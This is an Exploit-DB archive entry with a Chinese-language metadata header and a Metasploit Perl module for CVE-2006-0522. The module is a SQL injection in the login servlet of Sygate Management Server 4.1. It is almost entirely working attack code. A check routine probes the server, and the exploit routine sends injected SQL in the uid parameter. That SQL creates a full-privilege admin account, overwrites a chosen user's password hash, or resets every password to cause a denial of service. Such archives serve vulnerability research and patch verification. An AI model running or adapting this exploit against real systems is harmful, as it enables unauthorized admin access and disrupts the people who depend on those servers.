标题: Symantec Sygate Management Server - 'LOGIN' SQL Injection (Metasploit) EDB-ID: 1680 CVE: 2006-0522 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-15 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

##
# 
# Affected product : Sygate Management Server v4.1 (at least)
#
# Vulnerability    : SQL-Injection in login page
# Required privs   : Network access to the admin interface (HTTP)
# Impact           : Raw access to the database
# Sample payload   : Create a valid admin account directly in the database  
#
# Editor status    : Official patch available
# http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html
#
##

package Msf::Exploit::sygate_policy_manager;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
use vars qw{$HAS_SHA1};

BEGIN 
{
 $HAS_SHA1 = 0;
 
 if (eval('require Digest::SHA1')) {
  eval('use Digest::SHA1 qw(sha1);');
  $HAS_SHA1 = 1;
 } 
}

my $advanced = { };

my $info = {
 'Name'     => 'Sygate Management Server SQL Injection',
 'Version'  => '$Revision: 1.3 $',
 'Authors'  => [ 'Nicob <nicob[at]nicob.net>' ],
 'Arch'     => [ 'x86' ],
 'OS'       => [ 'win32' ],
 'Priv'     => 0,
 'UserOpts' =>
   {
  'RHOST'    => [1, 'ADDR',   'The target address'],
  'RPORT'    => [1, 'PORT',   'The target port', 80],
  'VHOST'    => [0, 'DATA',   'The virtual host name of the server'],
  'LOGIN'    => [0, 'LOGIN',  'The username to create/modify', 'reporting'],
  'PASSWD'   => [0, 'PASSWD', 'The encrypted password of this user', 'my_passwd'],
  'SERVLET'  => [1, 'DATA',   'Full path of the servlet', '/servlet/Sygate.Servlet.login'],
  'SSL'      => [0, 'BOOL',   'Use SSL'],
   },

 'Description' => Pex::Text::Freeform(qq{
  This module exploits a non authenticated SQL-Injection vulnerability in the
  Sygate Management Server (now Symantec Policy Manager), in order to create a new
  admin account or change the password of an existing one. Version 4.1 is known to be vulnerable.
  Version 5 is not vulnerable.
}),

 'Refs' =>
   [
  ['URL',   'http://securityresponse.symantec.com/avcenter/security/Content/2006.02.01.html'],
  ['CVE',   '2006-0522'],
  ['OSVDB', '22883'],
  ['BID',   '16452'],
   ],

 'Targets' => 
  [
   ['Change a specific users password', 'change_user_passwd'],
   ['Create a new administrative account', 'add_account'],
   ['Reset all passwords (denial of service)', 'reset_all'],
  ],
 
 'DefaultTarget' => 0,
 
 'Keys' => ['sygate'],

  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Check {
 my $self = shift;
 my $target_host    = $self->GetVar('RHOST');
 my $vhost          = $self->VHost;
 my $target_port    = $self->GetVar('RPORT');
 my $servlet        = $self->GetVar('SERVLET');
 
 my $request =
   "GET $servlet?uid=test1&up=test2 HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
   "Host: $vhost:$target_port\r\n".
   "Connection: Close\r\n".
   "\r\n";

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $target_host,
  'PeerPort' => $target_port,
  'SSL'      => $self->GetVar('SSL'),
   );

 if ($s->IsError){
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return $self->CheckCode('Connect');
 }

 $self->PrintLine("[*] Establishing a connection to the target...");

 $s->Send($request);
 my $results = $s->Recv(-1, 20);
 $s->Close();
 
 if ($results =~ /HTTP\/1\..\s+200/) {

  $self->PrintLine("[*] Vulnerable server detected!");
  return $self->CheckCode('Confirmed');
  
 } elsif ($results =~ /HTTP\/1\..\s+([345]\d+)/) {

  $self->PrintLine("[*] The Sygate Policy Manager servlet was not found.");
  return $self->CheckCode('Safe');
 }

 $self->PrintLine("[*] Generic error...");
 return $self->CheckCode('Generic');
}

sub Exploit {
 my $self = shift;
 my $target_host    = $self->GetVar('RHOST');
 my $vhost          = $self->VHost;
 my $target_port    = $self->GetVar('RPORT');
 my $servlet        = $self->GetVar('SERVLET');
 my $login          = $self->GetVar('LOGIN');
 my $passwd         = $self->GetVar('PASSWD');
 my $target         = $self->Targets->[$self->GetVar('TARGET')];
 
 if (! $HAS_SHA1) {
  $self->PrintLine("[*] Please install the Digest-SHA1 module to use this exploit");
  return;
 }

 # The 'Password' field is a hex-encoded SHA-1 digest of the "user+password" string
 my $sha1 = sha1($login.$passwd);
 $sha1 =~ s/./sprintf("%02x", ord($&))/ges;
 $sha1 = "0x".uc($sha1);

 # Maximum level of privileges
 my $privs = "255";

 
 my %sqlpayloads = 
 (
  # Create a new valid admin account (in SMS v4.1) -- [BUG] : Can't access the Users panel :-(
  'add_account' => 
   "insert into CMS35.Admin (RecUpdateTime,LoginName,AdminNickName,Password,AdminRights,".
   "AdminEmail,FailedLogin,AlertOnFailure,AlertFailureThreshold,OnlineState) ".
   "values (getutcdate(),'$login','$login',$sha1,'$privs','',0,0,0,0)",

  # Reset the password of every account to "0x4141" (in SMS v4.1) -- Denial of Service only !
  'reset_all' =>
   "update CMS35.Admin set Password=cast('AA' as varbinary)",
 
  # Change the password of the selected account (in SMS v4.1) -- Yeah, full access to 'admin' !
  'change_user_passwd' =>
   "update CMS35.Admin set Password=$sha1 where LoginName='$login'",
 );
 
 my $payload = $sqlpayloads{ $target->[1] };

 # Inject our payload
 $servlet = $servlet."?uid=".$self->URLEncode("';$payload -- ")."&up=foo";

 my $request =
   "GET $servlet HTTP/1.1\r\n".
   "Accept: */*\r\n".
   "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
   "Host: $vhost:$target_port\r\n".
   "Connection: Close\r\n".
   "\r\n";

 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $target_host,
  'PeerPort' => $target_port,
  'SSL'      => $self->GetVar('SSL'),
   );

 if ($s->IsError){
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $self->PrintLine("[*] Establishing a connection to the target...");
 $self->PrintLine(' ');
 $s->Send($request);
 my $results = $s->Recv(-1, 20);
 
 if ($results =~ /HTTP\/1\.. 200 OK/im) {
  # Seems to be fine ;-)
  $self->PrintLine("OK. Now try to log with user '$login' and passwd '$passwd'");
 } else {
  $self->PrintLine("Doh ! Are you sure this server is vulnerable ?");
 }

 $s->Close();
 return;
}

sub URLEncode {
 my $self = shift;
 my $data = shift;
 my $res;

 foreach my $c (unpack('C*', $data)) {
  if (
   ($c >= 0x30 && $c <= 0x39) ||
   ($c >= 0x41 && $c <= 0x5A) ||
   ($c >= 0x61 && $c <= 0x7A)
    ) {
   $res .= chr($c);
  } else {
   $res .= sprintf("%%%.2x", $c);
  }
 }
 return $res;
}

sub VHost {
 my $self = shift;
 my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
 return $name;
}

1;

# milw0rm.com [2006-04-15] URL: https://www.exploit-db.com/exploits/1680